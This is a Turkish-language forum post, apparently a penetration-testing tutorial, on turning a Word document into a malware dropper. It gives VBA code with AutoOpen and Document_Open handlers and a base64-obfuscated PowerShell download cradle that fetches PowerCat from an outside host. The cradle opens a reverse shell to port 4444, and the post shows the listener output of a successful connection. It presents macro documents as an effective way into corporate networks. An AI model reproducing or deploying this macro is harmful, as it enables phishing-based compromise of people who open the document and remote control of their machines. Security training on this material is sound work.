- Katılım
- 3 Ocak 2026
- Mesajlar
- 2
- Tepkime puanı
- 4
- Puan
- 3
Makro Nedir?
Microsoft Word makroları, tekrarlayan görevleri otomatikleştirmek için kullanılan programlama kod parçacıklarıdır. Visual Basic for Applications (VBA) diliyle yazılırlar ve Word’de çeşitli işlemleri otomatik olarak gerçekleştirebilirler.Makrolardan Yararlanmak
İlk olarak Word’de bir makro oluşturalım. Öncelikle makrom adında boş bir Word belgesi oluşturacağız ve bunu .doc formatında kaydedeceğiz. Bu önemli çünkü yeni .docx dosya türü, makroları içinde gömülü şekilde kaydedemez; yalnızca bir şablon eklenirse mümkün olur. Yani, .docx dosyalarında makroları çalıştırabiliriz ama makroyu belgenin içine gömüp kalıcı hâle getiremeyiz. Başka bir seçenek olarak, makroyu gömülü şekilde saklamak için .docm dosya türünü de kullanabiliriz.
Belgeyi kaydettikten sonra ilk makromuzu oluşturmaya başlayabiliriz. Makro menüsüne ulaşmak için üst menü çubuğundan Görünüm (View) sekmesine tıklıyoruz. Burada Makrolar (Macros) öğesini bulup tıklıyoruz:

Bu adımda karşımıza makroları yönetebileceğimiz yeni bir pencere çıkar. Makro Adı (Macro Name) bölümüne makrom yazalım ve ardından açılır menüden (Macros in) makrom belgesini seçelim. Bu seçim, makronun kaydedileceği belgeyi belirler. Son olarak Oluştur (Create) butonuna tıklayarak belgemize basit bir makro çerçevesi eklemiş oluruz.

Bu adımda karşımıza Microsoft Visual Basic for Applications penceresi çıkar. Burada makromuzu sıfırdan geliştirebilir ya da eklenen makro iskeletini kullanabiliriz.

CreateObject ile bir Windows Script Host Shell nesnesi oluşturduktan sonra, hedef istemci makinesinde bir uygulama başlatmak için Wscript.Shell’in Run metodunu çağırabiliriz. İlk makromuz için bir PowerShell penceresi başlatacağız. Bu makronun kodu aşağıda gösterilmektedir.
Office makroları otomatik olarak çalıştırılmadığından, önceden tanımlanmış AutoOpen makrosu ve Document_Open olayını kullanmamız gerekir. Bu prosedürler, özel prosedürümüzü çağırarak bir Word belgesi açıldığında kodumuzun çalıştırılmasını sağlayabilir. Bunlar, Microsoft Word ve belgenin nasıl açıldığına bağlı olarak birbirinden hafif farklılık gösterir. Her ikisi de diğerinin kapsamadığı özel durumları kapsadığından, her ikisini de kullanırız.Sub makrom()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Sub AutoOpen()
makrom
End Sub
Sub Document_Open()
makrom
End Sub
Sub makrom()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Sonra Microsoft Visual Basic for Applications penceresindeki Kaydet simgesine tıklayıp belgeyi kapatıyoruz. Belgeyi tekrar açtığımızda, makroların devre dışı bırakıldığını belirten bir güvenlik uyarısı ile karşılaşacağız. Makromu çalıştırmak için İçeriği Etkinleştir (Enable Content) butonuna tıklıyoruz.

İçeriği Etkinleştir’e tıkladıktan sonra bir PowerShell penceresi açılır.

Şimdi mevcut makromuzun kod yürütme işlemini PowerCat yardımıyla bir reverse shell’e genişleterek tamamlayalım. PowerCat’ı indirmek ve reverse shell başlatmak için base64 ile kodlanmış bir PowerShell download cradle kullanacağız. Kodlanmış PowerShell komutu, VBA’da String olarak tanımlanacak.
VBA’nın sabit dizeler için 255 karakter sınırı olduğunu ve bu nedenle base64 ile kodlanmış PowerShell komutlarını tek bir dize olarak gömemeyeceğimizi belirtmeliyiz. Bu kısıtlama değişkenlerde saklanan dizeler için geçerli değildir, bu nedenle komutları birden fazla satıra bölebilir (dizeler halinde saklayabilir) ve birleştirebiliriz.
Bunu yapmak için, View sekmesindeki Makrolar öğesine tıklayıp listeden makrom’u seçeceğiz ve makro düzenleyiciye geri dönmek için Edit’e tıklayacağız. Ardından, Dim anahtar sözcüğüyle Str adında bir string değişkeni tanımlayacağız. Bu değişkeni, PowerShell download cradle’ımızı ve PowerCat ile reverse shell oluşturma komutumuzu saklamak için kullanacağız. Aşağıdaki liste, değişkenin tanımını ve değişkende dize olarak saklanan komutu çalıştırmak için değiştirilmiş satırı göstermektedir.
Sub AutoOpen()
makrom
End Sub
Sub Document_Open()
makrom
End Sub
Sub makrom()
Dim Str As String
CreateObject("Wscript.Shell").Run Str
End Sub
Ardından, PowerCat’ı indirmek ve reverse shell’i çalıştırmak için bir PowerShell komutu kullanacağız. Önceki Modüllerde de karşılaştığımız özel karakter sorunlarından kaçınmak için komutu base64 ile kodlayacağız. Aşağıdaki liste, base64 kodlaması öncesindeki PowerShell komutunu göstermektedir.
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
Base64 ile kodlanmış dizeyi 50 karakterlik daha küçük parçalara bölmek ve bunları Str değişkeninde birleştirmek için aşağıdaki Python betiğini kullanabiliriz. Bunu yapmak için, PowerShell komutunu `str` adlı bir değişkende ve bir parçanın karakter sayısını `n` değişkeninde saklarız. Base64 ile kodlanmış komutu betiğe yapıştırdıktan sonra herhangi bir satır sonu karakteri içermediğinden emin olmalıyız. Bir for döngüsü, PowerShell komutu üzerinde yinelenir ve her parçayı makromuz için doğru biçimde yazdırır.
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
Base64 ile kodlanmış dizeyi daha küçük parçalara böldükten sonra makromuzu şu şekilde güncelleyebiliriz:
Sub AutoOpen()
makrom
End Sub
Sub Document_Open()
makrom
End Sub
Sub makrom()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
Str = Str + "A== "
CreateObject("Wscript.Shell").Run Str
End Sub
Makromuzu değiştirdikten sonra belgeyi kaydedip kapatabiliriz. Belgeyi yeniden açmadan önce, PowerCat betiğinin bulunduğu dizinde bir Python3 web sunucusu başlatalım. Ayrıca 4444 numaralı portta bir Netcat dinleyicisi de başlatacağız.
Belgeye çift tıkladıktan sonra makro otomatik olarak çalıştırılır. “İçeriği Etkinleştir” butonuyla ilgili makro güvenlik uyarısının bir daha görünmediğine dikkat edin. Bu uyarı yalnızca belgenin adı değiştiğinde tekrar görünecektir.
Makro çalıştırıldıktan sonra, Python3 web sunucumuzda PowerCat betiği için bir GET isteği alırız ve Netcat dinleyicimizde gelen bir reverse shell bağlantısı elde ederiz.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.2] from (UNKNOWN) [192.168.50.196] 49768
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
Belgeyi açmak makroyu çalıştırdı ve bize bir reverse shell gönderdi. Mükemmel!
Bu yazıda yaptıklarımızı kısaca özetleyelim. İlk olarak, belge açıldığında tek bir komut çalıştırmak için bir Word belgesinde bir VBA makrosu oluşturduk. Ardından, bu tek komutu, PowerCat’ı indiren ve yerel sistemde bir reverse shell başlatan base64 ile kodlanmış bir PowerShell komutuyla değiştirdik.
Kötü amaçlı makrolar içeren Microsoft Office belgeleri, bir kurumsal ağda ilk aşama elde etmek için hala harika bir istemci tarafı saldırı vektörüdür. Ancak, kullanıcıların e-postalardan gelen Office belgelerini açmama konusundaki artan farkındalığı ve yerleşik güvenlik teknolojilerinin sayısının artması nedeniyle, bir makronun iletilmesi ve çalıştırılması giderek zorlaşmaktadır.